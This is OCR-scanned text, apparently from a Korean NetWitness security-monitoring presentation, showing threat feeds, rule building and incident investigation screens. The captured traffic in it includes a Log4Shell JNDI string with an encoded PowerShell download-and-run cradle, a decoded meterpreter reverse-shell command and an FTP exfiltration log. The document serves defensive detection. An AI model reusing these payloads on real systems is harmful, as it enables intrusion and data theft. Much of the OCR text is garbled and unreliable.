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ThreatConnect2}2| I}

RSA

@ .
SIS . (rcr<hip with 4L, ThreatConnect

PLATFORM LIVE

Open Source INTelligence ThreatConnect?| CTI(HE 2I& HE) HS
IP / Domain Threat Intel IP / Domain Threat Intel loC Score M| S (1~10007)
& e [Frode Tadier * Cybercrime Tracker * CAL Suspicious Newly Registered Domains * ThreatConnect CAL 7[2te] 9| A12|= =
* Blocklistde Apache IPs & alrirs Tor [Bet Nl * CAL Suspected Ranking Manipulators *loC Score7t =2 e 54 MY BX| L S
* Blocklistde Bot IPs * Disconnectme Malvertising * CAL Suspicious Nameservers
* Blocklistde FTP IPs * Firebog Airelle Hrsk Domains
* Blocklistde Bruteforce IPs * Firebog Prigent Malware Domains *
* Blocklistde IMAP IPs * Firebog Prigent Phishing Domains ThreatAssess
* Blocklistde Mail IPs * Firebog Shalla Malware Domains M Thveat Rating
* Blocklistde SIP IPs * GreenSnow Blocklist P
* Blocklistde Strong IPs * Haley SSH Bruteforce IPs
* BotScout Bot List * Rutgers Attacker IPs
* Botvrij Ips / Domains * VXVault

* BruteForceBlocker Blocklist
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| i | i =] o aF x
Define Feed Select Services Define Columns Review B HEYTI A HE
sl&2 CHC
ITdH o At Bbe, BT
Type ofts IP Range Non IP - Xl-/lk_|- %Q_E
)
Index Column 3 v [Jcipr
Define V ﬁ ﬁ
2 4 5 6
—
username ~ org v eth.src - Hl o~ |_| ﬁ Iél' IéI-XI'
Host Host IP Segment Policy 01_05. DB 5 &... MAC Address A = =
. HIELI_QE o i =%, 2XM
workgroup™ = VETNAMO1 10 MATCH AHSRH B 821 07959624995 ’
yunseokko-w10, 10 2Al2F2[Down]  MATCHAMSAI @M 89 408dsccic6as — JH|ZL|A A|AEIA '%'
megmeyunjinoh-n 10 il B1F_Wian MATCH AMSX F5 8ol adc49450d732 -
-youhwan-w10 = 10 AL 2F-1 [UP] MATCH AHSRH B &2l 74d435(71505 ; _)
“yookjy. 10 BEAL 2F-1 [UP) MATCH AHEX} & 8ol 408dScdbf36e r - \
—
~ylyeonyoon, 10 EAF_2F-2 [Down] MATCH AMST} & &2l f079596a5dc8
* L]
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Reset Cancel Prev Next k J
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HIEFC|O|E] 3 #1& X| & 2 A =&

A = =Hot EH | 1507HX| O] &f 2| O EFT| O] H S Ciefot 9

HTTP Method = POST | Network Event Details [ext Packet File Host Email
Directory = log4shell
Filename = |Og in o, Download PCAP | v | @ ) DISPIAY COMPRFSSFD PAYIOADS
Anomaly = no referrer DECODED TEXT
Anomaly = POST no GET BASEG4 FORMAT

owershell.exe -nop -w hidden
Net.ServicePointManager]: SecurityProtocoI=
POST /log4shell/login HTT ENetSecuntyPnﬁocoﬂype]'Ts ]
System.Net.ServicePointManager]::ServerCertificateVal
Host =192.168.1.10:8080 Host: 192.168.1.10:8080 |d§t|0nCaIIback—{$true} $G—ne§v -object
) . net.webclient;if [System Net.WebProxy]::GetDefaultProx
User-Agent: curl/7.74.0 ().address -ne $null){$G proxy=
Accept: */* E’ NetWebRequest]::GetSystemWebProxy();$G.Proxy.Cre
- dentials=
User Agent =curl/7.74.0 Content-Length: 854 [I?IJet.CredentiaICache]::DefauItCredentials;];lEX((new-
. ) object
Content-Type: application NetWebClient).DownloadStrin Shﬁpsﬁ@ovexbyquwws
fb.com:8090/fileless/rvZmdv28"):IEX ((new-obiect

I0OC = Log4She|I Exploit uname=${jndi:1ldap://172.16.172.16:1389/Basic/Command/Base64/cG93ZXIzaGVsbC51eGUgLWSvcCAtdyBoaWRkZWag
We51dC5TZXJ2aWN1UGOpbnRNYW5hZ2VyXTo6U2VidXIpdH1Qcm9eb2NvbD1bTmveL1IN1Y3VyaXR5UHIVAGYjb2xUeXB1XTo6VGXZ
MTI7WIN5c3R1bS50ZXQuU2VydmljZVBvaWs50TWFuYWdlc1e601N1lcnZlckNlcnRpZmljYXR1VmFsaWRhdGlvbkNhbGxiYWNrPXsk
dHJ1ZX87JEcObmV3LW9iamVjdCBuZXQud2ViY2xpZW50021mKFtTeXNOZWouTmveL1d1Y1Byb3h5XTo6R2VORGVMYXVsdFByb3h5
KCkuYWRkcmVzcyAtbmUgJG51bGwpeyRHLNByb3h5PVt0ZXQuVvV2ViUmVxdWVzdFe60kd1dFN5c3R1bvVdlY1Byb3h5KCk7JEcuUHIv
eHkuQ311ZGVudG1hbHMOW@51dC5DcmVkZWS@alWF sQ2F jaGVd0j pEZWZhdWx@Q311ZGVudGlhbHM7 T IRVggKChuZXctb21qZWNe

IE51dC5XZWIDbG11bnQpLkRvd25sb2FkU3RyaW5nKCdodHRwczovL 3NvdmvV4Ynl4YnF5d3NmYi5jb2060DASMCOmaWx1bGVzcy9y

d1lptZHk50CcpKTtIRVggKChuZXctb2I1gZWNeIE51dC5XZWIDbG1l1bnQpLkRvd25sb2FkU3RyaW5snKCdodHRwczovL3Nvdmv4Ynld
YnF5d3NmYi5jb2060DA5SMCOmalx1bGVzcycpKTs=}&password=123
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S BAI S 24 = 26l [X| Ol &2l M==t=l EciE HEFH[O|E ZA|ZE
NEDHEl 2 EFX| G 2 M 5H 1507FX| O N &2 3}= Ll M EFH|O|E MA|ZE ==
S e e e e e e e e e e e me s ~ e hY
www . Hostname Aliases (20 values) L |{ @ Source E-mail Address (3 values) 2 ! | & - SSLCA (20values) L !
sv-us-web2 (1,828) - It-us-rlee01 (835) - www.xjjboss.com (536) - | : update@facebookmail.com (7) - no-reply@linkedinuserservices.com (’I : netwitness intermediate ca (316) - rsa (305) - digicert inc (56) - nweca (1{
bcline01 (120) - teredo.ipv6.microsoft.com (25) - nweca (18) - upc : : : - godaddy.com, inc. (14) - verisign, inc. (13) - symantec corporation (13) :
-* g.doubleclick.net (10) - corp<1d> (9) - ocsp.digicert.com (8) -k 1 @ Destination E-mail Address (2 values) L : : - comodolca [ilmited (9) - microsoft corporation (7) - equifax (7) - addtru:
i r.craig@prymida.com (1) - r.anderson@prymida.com (1) - p.ward@pryl | technalogies, inc.(2) ... show more '
"’7\ P LaveEHomalg: POVaLES) P : : : g SSL Subject (20 values) R :
ru(1,775) - com (959) - net (143) - eu (32) - org (9) - cz (7) - co.uk| | Attachment (7 values) £ o : . i
1 0 tic.zip (1) - linkedi id O 1) - html:ch 1 1 rsa(316) - nweservercertificate (18) - nweagentcertificate (17) - google inl
s ice T . | o : n;'sc e !:.le( ) t;: . |n_pry;n| ta_(z\':er u:' Oix( ') ) #m,c atirss : -amazon.com, inc. (7) - outbrain inc. (6) - oracle corporation (6) - micro{
PEN ervice Type (13 values) i (#res.getwriter().print(#req.getcontextpath())).(#r... (1) - ')).(#res.getw : : inc (4) - the rubicon project, inc. (4) - gigya inc (4) - criteo sa (4) - cms. ne1
HTTP (2,144) -SSL(1,535) - OTHER (1,267) - DNS (117) - SSH (80) : Fil (20 val }P ] o e e SRR R ek (4 o il R B e SO VDD o o o o o o o e
1 ilename values) &~ ] e e e o e N
Y T T T T S Y 1w | i
: TCP TCP Destination Port (20 values) 0 : : theme.php (535) - process.jsp (479) - news.asp (475) - get.php (467) : : Q - Source Country (4 values) § e :
: = 8080 (1,431) - 5671 (964) - 80 (http) (708) - 443 (https) (336) - 514i : -Q:)fegv:\:;t;:meswstaibgurdlgmcggu:a-bbxtf-rilhlikleiquiit:)lkczkda::)lwowqti : ' russian federation (339) - morocco (11) - united states (6) - singapore (EI
i ; i g i : 2 =2y ' EgHzl T k o [ H
cifs) (17) - 50002 (16) - 5000 (16) - 52162 (13) - 135 (epmap) (11 1
: e (16) (16) e (gl ): : - mfewtzbnr  —— H =S Le OE( 1I — " = q: : Q - Destination Country (8 values) L :
1 1 L ; ; ;
p ! russian federation (1,446) - united states (967) - france (50) - morocco (
: <> Source IP Address (20 values) : : - Extension (20 values}p : : 1
I 192.168.31.24 (1,257) - 192.168.1.111 (1,253) -192.168.70.82 (83% | W . . ) o o 1
1 1 hp (1,008) - jsp (483) - asp (478) - aspx (12) - gif (9) - crt(8) -js(7) -in Source City (6 values) i
1 -192.168.21.53 (55) - 192.168.1.228 (21) - 192.168.1.128 (21) - 14 : Php ( }-BRER) PI5/5) prdi2) -glf ) () =) 1 :.V. & y . ; i
1 -192.168.1.231 (4) howmore : 1 1 rabat (11) - ashburn (3) - san jose (1) - saint petersburg (1) - los angeles)
: e O 1 : @ Forensic Fingerprint (17 values) P : : :
I 1y i ; - i [ Destination City (20 values) 2 i
1 gt jeol I gif (12) - x86 pe (9) - windows executable (9) - png(8) - jpg (6) - 7zip d 1.9 H
: 1) Destination IP-address (20 vaiues) : : 0) (1) : : o austin (535) - seattle (62) - cambridge (51) - columbus (36) - boardman (:
188.225.32 64 (1.431) - 192 168 1.112(1.217) - 192 168 31 24 (57 i _
H i 1 redmond ( E = x~ Hl ]|
— —_ ] : iL
| -192.168  E gal 7| &2 @E(HHZJ gy o | E Server Application (20 values) 2 » francisco (5) Ecfjaf =7} S & (Feed of| & !
1 -52.224.1 oy g i
. microsoft-iis/7.5 (1,431) - openssh_6.6.1 (40) - openssh_7.5(35) -asp.l | Source Organization (9 values) o !
[ RSty p """"""""""" : (sea/5554) (5) - apache/2.4.10 (debian) (5) - amazons3 (5) - openssh_ 7: : 1] g :
1 L User Account (5 values) i : i timeweb Itd. (338) - maroc telecom (7) - 8 to infinity (6) - maroctelecoma}
: beline (3) - kung (2) - bob (2) - tseng (1) - chuck (1) : B Client Application (20 values) jel : : hosting (1) - colocrossing (1) - best-hoster group co. Itd. (1) i
1 1 [ 1
1 1 mozilla/5.0 (windows nt 6.1; wow64; trident/7.0; r... (1,432) - mozilla/4l 1 o Arr jol 1
i 1 Destination Organization (20 values) i
: ’ i i st P : - putty_locali_aug_13_2014.15:13:55 (40) - jsch-0.1.54 (35) -microsoft: : N timeweb Itd. (1 4?9) - zayo bandwidth (535) - google (96) - amazon com'
| get(1,521) - post (618) - login (23) - request (22) - bind (22) - quit! |} applewebkit/53... (3) - mozilla/5.0 (windows nt 6.1; wow64) applewebky | . ¢ o yo! , gf & ‘ ; !
I -type (5) - port (4) - Isa_lookupsids3 (4) - alter context (4) shoy | (windows nt 6.1; wow64; rv:38.0) gecko/... (2) - mozilla/5.0 (windows nt} I B et s i s e Ian:
¢ i 2 R L - 3ppnexus (7)_ criteo corp. (6) - level 3 communications (3) - dosarrest!
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’Lﬁé‘ . :fThreat Category [threat.category] (12 value ‘: @ :’ Session Analysis (20 of 20+ values) \:
=n0nstandard (>100,000 - 29%) - suspicious (>100,000 - 40%) - spectrum (>100,000 - 64%) - informational (69,097) : | session size 0-5k (1,087) - ratio medium transmitted (800) - not top 20 dst (476) - ratio low transmitted (444) - watchlist :
1 - vulnerability (44,181) - data leakage (9.637) - malware (1,913) - bambenek consulting (262) - suspect (138) 1 : port (352) - ratio high transmitted (318) - first carve not dns (300) - first carve (300) - response no payload (281) - data 1
: - attacks (36) - anonymous access (8) - botnet (1) : : push (200) - session size 5-10k (155) - session size 50-100k (149) - long connection (129) - session size 10-50k (117) - single :
: ) : | sided udp (91) - zero payload (89) - inbound traffic (21) - session size 100-250k (15) - windows ntlm network logon :
’Iﬁqﬂ‘ - 1 Threat Source [threat.source] (6 values) L 1 : successful (10) - potential beacon (5) ... show more 1
=netW|tness{:-100.UOo - 11%) - rsa-firstwatch (261) - tor-exit-node-ip (94) - spamhaus_edrop_list_ip (83) : : . . _ o :
: - spamhaus_drop_list_ip (55) - third party publicized iocs (9) : @ ! Service Analysis (20 of 20+ values) :
1 1 : ssl over non-standard port (886) - hostname consecutive consonants (302) - tld not com net org (290) - ssl certificate missing 1
’51}‘ 2 :Threat Description [threat.desc] (7 values) L : : issuer organizational name (201) - http1.1 without referer header (100) - ssl certificate missing subject organizational :
:hllp:h’firstwat.chramgﬁ% (262) - sbl438244 (52) - sbl461359 (48) - sbl485521 (31) - dynamic dns domain (11) : : name (41) - suspiciously named domain (34) - nginx http server (30) - http1.1 without accept header (23) - http1.1 server :
: -socks24 (8) - sbl476286 (7) : 1 location redirect (22) - http direct to ip request (21) - http1.1 without server header (20) - ssl certificate chain incomplete (18) :
e S ———— I - http over non-standard port (18) - hostname invalid (17) - dns single request response (16) - unknown service over http 1
'?'I '6;1 .T'I:} ?_1 I°'| E : port (15) - host header contains port (15) - http post missing content-type (14) - dns extremely low ttl (10) ... show more :
1
o . 1
Threat Category($/ & = 5), Threat Source(2I & &H), © i File Analysis (20 of 20+ values) 2 i
Th reat Description(-?-l 6;" *E'i %:' ) : commeon document formats (225) - js eval no docwrite (51) - exe filetype (9) - exe abnormal e_cblp (7) - exe filetype but not :
1 exe extension (5) - exe abnormal e_minalloc (5) - packer armadillo (4) - exe one dos header anomaly (4) - exe many dos 1
: header anomalies (4) - exe abnormal e_ss (4) - exe abnormal e_sp (4) - exe abnormal e_res1_4 (4) - exe abnormal e_res1_3 (4) :
w _Indicators of Compromise (2 values) 0o : - exe abnormal e_res1_2 (4) - exe abnormal e_res1_1(4) - exe abnormal e_ovno (4) - exe abnormal e_maxalloc (4) - exe :
‘_aEnormaI e_ip (4) - exe abnormal e_csum (4) - exe abnormal e_cs (4) ... show more 1

cerber beacon (50) - china chopper (6) - rig exploit kit (5) - binary indicator (3) - high risk file from blacklisted host (2) e e e e D
- possible sqgl injection (1) - cerber ransomware (1) - binary handshake (1)

i = &
Behaviors of Compromise (1 value) e 1 ) i I = 1 - ] o - HL = = )
file transport over unknown protocol (4) : SeSS|On AnaIy5|s(k|| l—:l 7| I—l- :PI l:l): SerV|ce AnaIyS|s(£EE-'E-7| l_}. :O| |:|)r F||e

1 A Xel Hi E =~ 1
i Analysis(ILF & 7|2Fr =0

Enablers of Compromise (9 values) 2 : Y ( I-E I = I D) :
plaintext ftp password (7) - plaintext pop3 password (3) - h}ml hidden post (3) - file sharing apps (2) - smb v1 request (1) :
- rogue dhcp server detected (1) - html iframe external refgrence (1) - html hidden span (1) - html hidden div (1) :

1
1

e = 1
Hoj 2 Y , :
. . L == a o L = 1
Indicator of Compromise(®& &l & 2), Behavior of Compromise(& sl 22 24 2]), ]

Enabler of Compromise(&f i A <

P o ———————— - -
=
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M2 S8 WY 7|8 YIE UK

|12 H& 5 04 2Z0) = HzrE X AlLE]| 2 ¢

le Riild Build a Statement
Rule Builder
Build 3 rule using drag-and-drop and auto-complete tools Define a rule condition by adding one or more statements. For each statement, define the keys, cperators, and values that will trigger the rule.
If the contents of the value field include more than one '.E:'.E_‘,C,I. MMUST Spec) ".’ that it should be evaluated as an array.
RuleName® A% 324 AIE ¥ Li¥ 32 43 X
Name*  1TierlPSDetection

Description -Ti

: IPSO4A] Sca ggr_l =X f all conditions are met v 4

FDe of ! case? ?

e = - - . - Ke erator Value ignore Case; ArTan
IPSOIA Scanning B2 AIS3H 1% (P7} QIE{ 1 WRIAE S LIS FY(Firewall Allow) 43 Y E x 2
device_type s PS5 ~
} t severity 2h critic o -./
Trial Rule v severity 5 high,critica
rule containg scan ~
Alert v
Severity * High v
Conditions * + -3
Statement Occurs | Connector Correlation Type Meta Meta
¥ 1TieriPSDetection 3 followed by v | JOIN Ip_src Ip_src
[ ollowed by !'J P- P Cancel Save
2TierFirewaliAllow

| "
not followed by

enesty ’ ALtz e 1>

OccursWithin] S & minutes AND
OR Build a Statement
Notifications + -
output - Definearyec M £.00¢ 07 org sTaTemENts. For £3ch statement defing the keys, operators, and values that will trigger the rule.

If the contents of the value field include morefhan one value, you must specify that it should be evaluated as an array.

¥ SYSLOG ESMSyslogForwarding 192.168.5.111_SyslogUDP514 Default Syslog Template N

arme * &

¥, Output Suppression of every g minutes

£ all conditions are met v+
Al AFTLE A EF x4 xH Key perator value Ignare Case? Array?
< EAI ?_I- o JI:I‘ (L=t Y = | XI oS> device_type is firewa ~

action is one of accept ~

A8 7Hs 8 AlLt2| 2 o — «
> TI 85715007 O] & of-d AFO|E F£ 5l Mg .
> C&C 2| AIO|EQL F7|X Ol 4 HTTP/FTP W& %’.‘JOHM OAAE L&
> MK /AIE Y2 0| 8510 Tt M, 742l NASE It Xd—’t e
o o <AlLt2| 2 2>
> VPN 52 0|83 27 &4, smBE O| 8%t ot M&
Y& A=, THS ssH/RDP F & Al

> QE Ot MH, EHE, ’SO.JMOIE, OIH AIO|IE X

Ho
HTJ

e
)
o
_U

=

il
on
on
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oo A1 H A1 EF = I_T'_
TT O |_|' g |_|' O ™™ O A = X o
NetWitness-LiveE &0l XA|HXH 2 = QOIO|EL|l= F(FHAE 24) ArE
S5 E 0| SF E 0|
2174 ==(C&QC) Cerber Ransomware MNE 9= Stealth Email Use

A

e
by

INES s

- O

[l

o2t
(o]
=
ok
=

o<
dHE /=

SPAM Host Detection

Tor Outbound

Windows Worm Activity Detected Packets
NTDSXTRACT Tool Download

Remote Password Cracking Tool Use
Rogue DHCP Server Detected
Aggressive Internal Database Scan
Aggressive Internal NetBIOS scan
Aggressive internal web portal scan
Horizontal Port Scan

NTDSXTRACT Tool Download

Port Scan Vertical Packet

Rogue DHCP Server Detected

BYOD Mobile Web Agent Detected

Client Using Multiple DHCP Servers
Malware Dropper

No Packet traffic detected from source IP addres
s in given timeframe

Detection of Encrypted Traffic to Countries
Internal Data Posting to 3rd party sites

bt
P
g2t
158

IS
I
ox
o

OH
N
ox
u
ot
0zt

i
i
al
!
o
ot
An

Stealth Email Use with Large Session
Cerber Ransomware

DNS Amplification

Head Requests Flood

HTTP GET Flood

Multiple SYN packets from Same Source
Potential HTTP Slow Post DoS

Web DoS Alert

Web DoS Attack

Malware Dropper

Punycode Phishing Attempt

RIG Exploit Kit

BYOD Mobile Web Agent Detected

RDP Inbound Traffic

RDP traffic from Same source to Multiple different des
tinations

SSH Traffic Detected from a Source to Different Destin
ations

Potential APT Service Install

Webshells Detected

Potential APT Service Install

Webshells Detected

17 © 2024 NetWitness LLC All rights reserved.
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INCIDENTS

'..r, f

SAVED FILTERS

Respond

S

TIME RANGE

All Data

@ | cusTOM DATE RANGE

NCIDENT ID

INC-# 4

PRIORITY

O Low
O Medium
O High
O Critical

STATUS

MNew

Assigned

In Progress

Task Requested

Task Complete
Closed

Closed - False Positive

O Show only unassigned incidents

CREATED b

03/08/2022 03:24:43 pm

03/08/2022 03:17:34 pm

03/08/2022 03:09:5% pm

03/08/2022 03:04:22 pm

03/08/2022 02:57:08 pm

03/08/2022 02:55:55 pm

03/08/2022 02:55:21 pm

03/08/2022 02:44:52 pm

03/08/2022 02:44:24 pm

03/08/2022 02:44:24 pm

03/08/2022 02:44:02 pm

03/08/2022 02:44:02 pm

03/08/2022 02:43:56 pm

03/08/2022 02:37:39 pm

03/08/2022 02:27:47 pm

03/08/2022 02:27:47 pm

2024 NetWitness LLC All rights reserved.

PRIORITY

HIGH

MEDIUM

HIGH

MEDIUM

MEDIUM

HIGH

HIGH

CRITICAL

MEDIUM

LOW

LOW

MEDIUM

LOW

HIGH

CRITICAL

CRITICAL

RISK SCORE

70

50

58

50

30

50

Failed

Multiple Suspicious Activities

Failed Login Ac

F

gins from Multiple Diff Source

192 168.60.65

successful Login

STATUS

Task Requested

Assigned

Assigned

Assigned

Mew

Mew

Assigned

Assigned

Assigned

Assigned

Assigned

Assigned

Assigned

Assigned

ASSIGNEE

Sam Polanco

Alex Lane

Chris Gordon

Alex Lane

Sam Polanco

Chris Gordon

Alex Lane

Alex Lane

Alex Lane

Sam Polanco

Alex Lane

Sam Polanco

X NETWITNESS
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Respond

INC-23

Malware Callback Followed by Data
Exfiltration

INDICATORS (1) FIND RELATED

eam Analysis

allback Followed by Data Exfitration

has file

11/15/2021 09:39:45 pm

00:0¢:29:31:9d:73 192.168.70.79. 1076

11/15/2021 09:37
00:06:29:59:05:93 52311..

11/15/2021 09:38:34 pm

52311...

11/15/202109:39:51 pm

34740b96-da19-066b-b3e2-90b06...

15/202109:39:25 pm

51780...

© 2024 NetWitness LLC All rights reserved.

» 1337t

v W
. |

€0 ;
’""“-’"v(,n,.s
with

communicates with

o

oy with

10534 lowaDer-. !

& Nodal Graph = Events List

34740096-dal066083e2-906060...

JOURNAL (2)

ADMID

MILESTONE Command and Control
www.komfort.n-co.ru.com AtO| EZ C&C 29|

ADMI}

MILESTONE Action on Objective v

86.57.246.1772 B /=

CETE I
1051a1lowaDems.pdf
780e0e91ccbécdbfée_budymvin?.pdf
a8dfc36246b3dcc3ch_iembbxpgh.pdf
AFL-CIO-Obama.pdf

EXCEL9.XLS

JULO8B-Elec.pdf
KatrinaFactSheetFinal.pdf
naralpollmemo061608.pdf
obama-full-text-8-28-2008.pdf
Obama.pdf
ObamaBlueprintForChange.pdf
PC_08_Obama.pdf
PPP_Penn_Release_040208.pdf

New Journal Entry

MILESTONE None

S NETWITNESS




Respond

INC-23

Malware Callback Followed by Data
Exfiltration

INDICATORS (1)

t Stream Analysis

Callback Followed by Data Exfiltratior

11/15/2021 09:36:54 pm
- 1921687079 - 52311...

11/15/202109::

192.168.70.79 1070...

11/15/2021 09:37:44 pm
00:0¢:29:59:02:93 - 192.168.70.79 + 52311...

11/15/202109:38:34 pm
- 52311...

11/15/202109:39:51 pm
192.168.70.79. . 34740b96-da19-066b-h3e2-90b05. ..

19:39:56 pm

192.168.70.79 “+ avaughn

11/15/2021 0%9:39:56 pm
192.168.70.7% # 158.121.238,169 - 80

11/15/2021 09:39:25 pm

51780 ...

11/15/20210
- 192.168.70.79 - 1071...

Network Event Details Text

POST /1337.html HTTP/1.1

Host: www.komfort.n-co.ru.com

Content-Type: text/html

Content-Length: 399

<!DOCTYPE HTML>
<html>
<head>
</head>
<body>

<form method="post" action="

<input type="hidden" name="_".
value="eylpZCI6IjYiLCIjb21tYWSkIjoiY21kLmv4ZSBcL2MgXCIwb3dlenNoZWxsIC1Db21tYWSkIG11leDtIbnZva2UtU2hlbGxjb2R
1IC1QYX1sb2FkIHdpbmRvd3NcL211dGVycHI1dGVyXCIYZXZ1cnN1X2Zh@dHAELUxob3NEIDIWNY410C4yNDUUMTEWIC1IMCGIydCABNDNIX

SwiaWseIjozMHe=" />
</form>
</body>
</html>

© 2024 NetWitness LLC All rights reserved.

ok, Download PCAP | ~ | @ ) DISPLAY COMPRESSED PAYLOADS

DECODED TEXT

BASE&4 FORMAT

i "'command”:"cmd.exe \/c \"powershell -Command
iex;Invoke-Shellcode -Payload
windows'\/meterpreter\/reverse_http -Lhost
207.58.245.180 -Lport 443]]"int":30}

URL FORMAT

eyJpZCI6ljYiLCljb21tYW5kljoiY21kLmV4ZSBcL2MgXC
Jwb3dlcnNoZWxsIC1Db2 1tYW5kIGIleDtJbnZva2UtU2
hibGxjb2RIIC1QYXIsb2FkIHdpbmRvd3NcL211dGVycHJI
dGVyXCyZXZlcnNIX2hOdHAgLUxob3NOIDIwNy410C
4yNDUuMTewlC1McGFydCAONDNPXSwiaW50ljozMH

®@ X

® @ [

THREAT.CATEGORY
c2

THREAT.DESC
Known malware callback Domain

FD.NAME

Internal Threat

FD.DESC
Threats from RSA-Firstwatch Feed

FD.CAT

c2

INV.CATEGORY

threat

INV.CONTEXT
attack phase

INV.CONTEXT
command and control

ASSET.BU

Executive

ASSET.FAC

us
ASSET.CRIT
High
ASSET.TYPE

Laptop

X NETWITNESS




Respond

.
NC-23 Events @ X

Malware Callback Followed by Data
Exfiltration Network Event Details Text ® @ [0

query=ip.dst\=86.57.246.177&Etcp.dstport\=1491B&&ip.sr

INDICATORS (1) FIND REL L. Download PCAP | v \=192.168.70.79 start=1637012385 end=1637012386

LINK

query=ip.dst\=86.57.246.177&8&tcp.dstport\=17626&&ip.sr
c\=192.168.70.79 start=1637012385 end=1637012386

vent Stream Analysi
920 Malware Callback Followed by Data Exfiltration

= user mao2

LINK

PASS GOVieMIL query=ip.dst\=86.57.246.177&&tcp.dstport\=15946&&ip.sr
TYPE I €\=192.168.70.79 start=1637012385 end=1637012386

MKD ./yzZTtbhcHR1KKdIf LINK

ALLD 39384 query=ip.dst\=86.57.246.177&&tcp.dstport\=10053&&ip.sr
a4 pn PASV c\=192.168.70.79 start=1637012385 end=1637012386
STOR ./yzZTtbhcHR1KKdIf/1851allowaDems.pdf LINK
1 2109:38: ALLO 65387 query=ip.dst\=86.57.246.177&&tcp.dstport\=14860&& p.sr
00:0c:29:59:05:93 - 192.168.70.79 . 52311... PASV c\=192.168.70.79 start=1637012385 end=1637012386
1 STOR ./yzZTtbhcHR1KKd1f/788e@e91ccb6cdbf6e_6udymvin? . pdf _.. PAYLOAD.REQ
- 34740b96:da ALLO 124489 s 1323
PASV PAYLOAD.RES
STOR ./yzZTtbhcHR1KKd]If/a8dfc36246b3dcc3ch_iembbxpgh.pdf 4270
ALLO 452141
ANALYSIS.SESSION
PASV
STOR ./yzZTtbhcHR1KKd]If/AFL-CIO-Obama.pdf
ALLO 11776

ratio low transmitted

ANALYSIS.50URCE

session.lua
PASV

000c:29:31:9473 - sk FTP&E S OH T=k= ANALYSIS-DESE
Between 0% and 25% of the session payload transmitted
outbound?

AN Qirus
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Investigate

EVENTS

Query Profiles ’ & Network Concentrator s 11/15/2021 09:02pm - 11/25/2021 05:44am . ipall = 192.168.70.79

11/15/2021 09:02 pm 11/25/2021 05:44 am +00:00

Y Filter 000 RSA Web Analysis

O COLLECTION TIME TYPE SERVICETY.. SOURCE IP ... DESTINATI... TCP DESTIN... HOSTHNAME ALIASES ACTION EV... FILENAME REFERER DESTINATI...

11/15/2021 09:33:08 pm @ BO[HTTP] 192.168.70.79 641254118 80 [http] instagram.com GET hitps://www.google.ca/ United States
11/15/2021 09:33:08 pm BO[HTTP] 144.63.123.3 80 [http] devvirtualearth.net GET : : http://beta.realtor.ca/PropertyDetails.aspx?Propertyld=14306224  Sweden

11/15/2021 09:34:54 pm 80[HTTP] 69.16.31.13 80 [http] wwwlinkedin.cm GET United States

€]
6]
(6]

11/15/2021 09:34:54 pm 80[HTTP] 69.16.31.13 80 [http] www.linkedin.cm GET i httpz/fwww.linkedin.cm/ United States

11/15/2021 09:34:54 pm BO[HTTP] ] 49.16.31.13 80 [http] www.linkedin.com hittp/fwww.linkedincmy/, ... United States

®

11/15/2021 09:34:54 pm B0[HTTP] 69.16.31.13 57805 United States

® ®

11/15/2021 09:36:54 pm BO[HTTP] 91.219.19457 80 [http] www.komfort.n-co.ru.com |337.html Russia

11/15/2021 09:37:44 pm BO[HTTP] 80 [http] www.komfort.n-co.ru.com 1337 himl Russia

11/15/2021 09:38:34 pm BO[HTTP] 192.168.70.79 80 [http] www.komfort.n-co.ru.com 133 /.html Russia

® ®

11/15/2021 09:39:25 pm 443[s5L) 192.168.70.79  207.58245.180 443 [https) United States

11/15/2021 09:39:45 pm 21[FTP] 86.57.246.1 21 [ftp] : 1051allowaDems.... (; Belarus

11/15/2021 09:39:45 pm O[OTHER] 192.168.70.79 8207 Belarus

®

11/15/2021 10:17:04 pm BO[HTTP] 192.168.70.79 15.214.28. 80 [http] a82hHas|291js.no-ip.org upload.php, ... : : http://aB2hHasl291js.no-ip.org/test?do=showssubdo=common&.. Germany

®
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Investigate

EVENTS
Ty
i

‘ Query Profiles H B Network Concentrator ) . O

11/15/2021 09:02 pm 11/25/2021 05:44 am +00:00

vents (Asc < Filter || [l RSAWeb Analysis X acke ile st ma Web & @en|a . X

COLLECTION TIME TYPE SERVICE TY... ANALYSIS.FILE

11/15/2021 09:33:08 pm ® 80[HTTP] ~  exe abnormal e_minalloc
. ALERT.ID
11/15/2021 09:33:08 pm 80[HTTP] Warning;: Files contain the original raw unsecured content. Use caution when opening or downloading files; they may contain L nw05157
malicious data.

To avoid quarantine, the zip file is password protected with this password: netwitness. —, ANALYSIS.FILE
exe one dos header anomaly

11/15/202109:34:54 pm B0 [HTTP]

11/15/2021 09:34:54 pm 80[HTTP]

FILE NAME MIME TYPE FILE SIZE HASHES ALERT.ID

11/15/202109:34:54 pm € 80[HTTP] Linkedin_WhosViewedMe.pdfexe application/octet-stream 732.0KB SHAL: 33054bc87e5¢a5815462eff35e60bbIecebbacd ~ nw05165

SHA256: c2a81f5db114abbSecddecast69fa6f93723a272b. aNALYSISFILE
MD5: 7a8a7e543907fa3c7cf021ed914e8432 [

11/15/202109:34:54 pm 5 80 [HTTP]
exe timestamp before 1999

11/15/2021 09:36:54 pm B0 [HTTP] ALERT.ID

11/15/202109:37:44 pm BO[HTTP] nw25135

INV.CATEGORY

11/15/202109:38:34 pm B0 [HTTP] A

11/15/202109:39:25 pm 443 [S5L] 1 —  INV.CONTEXT

malware
11/15/202109:39:45 pm 21[FTP]
ANALYSIS.FILE

11/15/202109:39:45 pm 0[OTHER] " packer antireverse

PAYLOAD.REQ
416

11/15/2021 10:17:04 pm 80[HTTP]

4 of 13 events
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2021 | % | 06:55:00 (+09:00)

| =
:O

(E

£3]: US20090067443A1)

B Network Concentrator [EESLELNEEEEE ¥ Query

2o E2T MYy BE

E Profile

g

TCP
..

Service Type [service] (15 values) L

E Network Concentrator [ERPLEEUEEEEE ¥ Query

c

2021 % | 06:55:00 (+09:00)

service = 80

3

SSL(3,492) - DNS (3,043) | HTTP (2,153) I[CTHER t+776—SSHL86—NETB!

TCP Destination Port [tcp.dstport] (20 of 20+ values) L

5671 (2,829) - 8080 (1,430) - 80 (http) (713) - 443 (https) (387) - 514 (cmd) (
... show more

Indicators of Compromise [ioc] (7 values) L
schoolbell malware (535) - rekaf_beacon (535) - cerber beacon (50) - china

Behaviors of Compromise [boc] (3 values) b

file transport over unknown protocol (8) - wmi level 1 login (1) - remote wn

Enablers of Compromise [eoc] (6 values) b
plaintext pop3 password (4) - html hidden post (3) - smb v1 request (1) - h

Session Analysis [analysis.session] (20 of 20+ values) L

session size 0-5k (7,199) - ratio medium transmitted (4,571) - single sided y
- ratio low transmitted (780) - data push (369) - inbound traffic (311) - long

Service Analysis [analysis.service] (20 of 20+ values) b

